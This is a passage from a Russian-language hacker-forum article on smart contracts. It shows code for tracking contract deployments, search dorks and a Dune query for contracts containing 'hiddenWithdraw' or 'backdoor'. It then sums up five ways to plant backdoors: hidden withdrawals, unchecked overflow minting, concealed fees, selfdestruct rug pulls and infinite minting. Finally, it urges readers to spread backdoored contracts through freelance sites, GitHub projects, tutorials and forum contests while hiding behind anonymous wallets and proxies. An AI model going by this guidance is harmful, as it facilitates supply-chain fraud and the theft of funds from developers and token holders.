1. Используйте ключевые слова из исходного кода (например, "hiddenWithdraw", "selfdestruct", "backdoor").
2. Поищите контракты по хэшу кода, если исходник был загружен.
3. Попробуйте публиковать поддельные контракты, чтобы хакеры сами привлекали к себе внимание.
Метод 3: Внедрение скрытого события в контракт
Добавьте в свой контракт скрытое событие (emit Event), которое будет фиксировать развертывание или любое важное действие.
Пример контракта с событием:
JavaScript:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EventTracker {
event ContractDeployed(address indexed deployer, uint256 timestamp);
constructor() {
emit ContractDeployed(msg.sender, block.timestamp); // Фиксация развертывания
}
}
Отслеживание событий через Web3.js:
JavaScript:
const { ethers } = require("ethers");
async function track() {
const provider = new ethers.providers.InfuraProvider("mainnet", "ВАШ_INFURA_API");
const contractAddress = "АДРЕС_КОНТРАКТА";
const abi = [
"event ContractDeployed(address indexed deployer, uint256 timestamp)"
];
const contract = new ethers.Contract(contractAddress, abi, provider);
contract.on("ContractDeployed", (deployer, timestamp) => {
console.log(`Контракт развернут: ${deployer} в ${timestamp}`);
});
}
track();
Метод 4: Использование Google Dorks и GitHub Search
Используйте Google Dorks и поиск по коду на GitHub, чтобы искать развернутые контракты. Например:
Google Dork:
site:etherscan.io "hiddenWithdraw"
site:bscscan.com "backdoor"
GitHub Search:
org:ethereum "selfdestruct"
Метод 5: Использование аналитических платформ
Платформы аналитики блокчейна, такие как:
The Graph: Создайте субграф и отслеживайте действия смарт-контрактов.
Dune Analytics: Пишите SQL-запросы для отслеживания транзакций.
Tenderly: Настройте уведомления и мониторинг смарт-контрактов.
Пример SQL-запроса для Dune Analytics:
SQL:
SELECT
tx_hash,
from_address,
to_address,
method_name
FROM
ethereum.transactions
WHERE
method_name ILIKE '%hiddenWithdraw%'
ORDER BY
block_time DESC
Финито ля комедия:
Поздравляю, если вы дошли до этого места - вы официально прокачаны в мире смарт-контрактов. Мы прошлись по 5 легендарным уязвимостям, научились их внедрять в код, отслеживать развернутые контракты и даже эксплуатировать их как профи.
Но помните: "Знание - сила, а сила без контроля - это флэш-кредит с ликвидностью в $1 миллион".
Резюме эксплойтов:

> Добавляйте "случайные" функции вроде hiddenWithdraw(), чтобы никто не заметил отъезд средств на ваш адрес.

> Используйте unchecked и запрашивайте 2^256-1 токенов за раз - пусть Solidity даже не пытается проверять.

> Никто не заметит 1% от 1 млн. транзакций, особенно если "комиссия зависит от времени блока".

> Уничтожайте контракт, пока все думают, что "деньги в безопасности". Конец истории.

> Вечный печатный станок делает вас владельцем несуществующего богатства. Просто создайте 1 миллиард токенов - и в путь!
Советы по распространению "творений":
1. Используйте фриланс-биржи
Как делать: Продавайте "популярные смарт-контракты" через биржи разработчиков.
Что вставлять: Маленькие функции, которые никто не найдет (до тех пор, пока вы сами их не активируете).
2. Залейте код на GitHub
Как делать: Создайте "open-source" проект DeFi.
Что вставлять: Оставьте "случайные ошибки", которые открывают доступ только вам.
3. Обучающие курсы и видео
Как делать: Снимите видео "Как написать свой токен" или "Как создать NFT-коллекцию".
Что вставлять: Встроенные уязвимости, которые будут активироваться после публикации.
4. Конкурсы статей и хакерские форумы
Как делать: Участвуйте в конкурсах статей на хакерских форумах (например, как этот).
Что вставлять: Полезный контент, который на самом деле побуждает к тестированию вашего кода.
Главное правило:
Никогда не признавайтесь, что это ваша работа. Всегда используйте анонимные кошельки и VPN через несколько прокси. Блокчейн не прощает ошибок, но умеет вознаграждать тех, кто думает на несколько шагов вперед.


Если статья не помогла вам стать богатым - значит, вы не включили "unchecked" в своем контракте.

Всем пис


(c) xss.is